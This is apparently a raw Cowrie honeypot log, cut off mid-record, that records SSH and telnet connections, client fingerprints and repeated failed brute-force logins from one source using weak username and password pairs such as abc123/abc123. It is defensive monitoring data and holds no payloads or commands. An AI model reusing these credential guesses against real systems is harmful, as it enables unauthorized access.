{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:52:44.751476Z","src_ip":"159.203.92.129","session":"fa6be39777ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47472,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdc3e11c567f","protocol":"ssh","message":"New connection: 159.203.92.129:47472 (159.203.135.109:22) [session: bdc3e11c567f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:53:28.536985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:53:28.541589Z","src_ip":"159.203.92.129","session":"bdc3e11c567f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:53:28.544860Z","src_ip":"159.203.92.129","session":"bdc3e11c567f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abb","password":"123456","message":"login attempt [abb/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:53:28.552517Z","src_ip":"159.203.92.129","session":"bdc3e11c567f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:53:29.560315Z","src_ip":"159.203.92.129","session":"bdc3e11c567f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.69.71.241","src_port":42462,"dst_ip":"159.203.135.109","dst_port":23,"session":"f25ce3b1d96d","protocol":"telnet","message":"New connection: 105.69.71.241:42462 (159.203.135.109:23) [session: f25ce3b1d96d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:53:52.697682Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37218,"dst_ip":"159.203.135.109","dst_port":22,"session":"084b5a46f239","protocol":"ssh","message":"New connection: 159.203.92.129:37218 (159.203.135.109:22) [session: 084b5a46f239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:54:13.453583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:54:13.456976Z","src_ip":"159.203.92.129","session":"084b5a46f239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:54:13.460198Z","src_ip":"159.203.92.129","session":"084b5a46f239","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abb","password":"abb","message":"login attempt [abb/abb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:54:13.515661Z","src_ip":"159.203.92.129","session":"084b5a46f239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:54:14.522573Z","src_ip":"159.203.92.129","session":"084b5a46f239","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.67.94","src_port":35244,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce428f301156","protocol":"telnet","message":"New connection: 185.15.67.94:35244 (159.203.135.109:23) [session: ce428f301156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:54:27.714583Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52598,"dst_ip":"159.203.135.109","dst_port":22,"session":"2db1c5c424d4","protocol":"ssh","message":"New connection: 159.203.92.129:52598 (159.203.135.109:22) [session: 2db1c5c424d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:54:57.796869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:54:57.801675Z","src_ip":"159.203.92.129","session":"2db1c5c424d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:54:57.810123Z","src_ip":"159.203.92.129","session":"2db1c5c424d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abba","password":"root","message":"login attempt [abba/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:54:57.823047Z","src_ip":"159.203.92.129","session":"2db1c5c424d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:54:58.829976Z","src_ip":"159.203.92.129","session":"2db1c5c424d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53342,"dst_ip":"159.203.135.109","dst_port":22,"session":"002a71b033c3","protocol":"ssh","message":"New connection: 159.203.92.129:53342 (159.203.135.109:22) [session: 002a71b033c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:55:42.898640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:55:42.903555Z","src_ip":"159.203.92.129","session":"002a71b033c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:55:42.909084Z","src_ip":"159.203.92.129","session":"002a71b033c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc123","password":"123456","message":"login attempt [abc123/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:55:42.920566Z","src_ip":"159.203.92.129","session":"002a71b033c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:55:43.927541Z","src_ip":"159.203.92.129","session":"002a71b033c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00989007949829,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:55:52.707452Z","src_ip":"105.69.71.241","session":"f25ce3b1d96d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38932,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ed21bcbaed0","protocol":"ssh","message":"New connection: 159.203.92.129:38932 (159.203.135.109:22) [session: 2ed21bcbaed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:56:27.293158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:56:27.297622Z","src_ip":"159.203.92.129","session":"2ed21bcbaed0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:56:27.302299Z","src_ip":"159.203.92.129","session":"2ed21bcbaed0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc123","password":"abc123","message":"login attempt [abc123/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:56:27.312015Z","src_ip":"159.203.92.129","session":"2ed21bcbaed0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00164008140564,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:56:27.716018Z","src_ip":"185.15.67.94","session":"ce428f301156","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.67.94","src_port":36182,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4570990f672","protocol":"telnet","message":"New connection: 185.15.67.94:36182 (159.203.135.109:23) [session: d4570990f672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:56:27.966664Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:56:28.317997Z","src_ip":"159.203.92.129","session":"2ed21bcbaed0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.67.94","src_port":36220,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6bb29b0a8aa","protocol":"telnet","message":"New connection: 185.15.67.94:36220 (159.203.135.109:23) [session: c6bb29b0a8aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:56:41.421226Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32876,"dst_ip":"159.203.135.109","dst_port":22,"session":"080edfba3a39","protocol":"ssh","message":"New connection: 159.203.92.129:32876 (159.203.135.109:22) [session: 080edfba3a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:57:11.706950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:57:11.711387Z","src_ip":"159.203.92.129","session":"080edfba3a39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:57:11.719114Z","src_ip":"159.203.92.129","session":"080edfba3a39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"1123456","message":"login attempt [abc/1123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:57:11.730318Z","src_ip":"159.203.92.129","session":"080edfba3a39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:57:12.738188Z","src_ip":"159.203.92.129","session":"080edfba3a39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58794,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ab96faed3fc","protocol":"ssh","message":"New connection: 159.203.92.129:58794 (159.203.135.109:22) [session: 1ab96faed3fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:57:55.466514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:57:55.479060Z","src_ip":"159.203.92.129","session":"1ab96faed3fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@o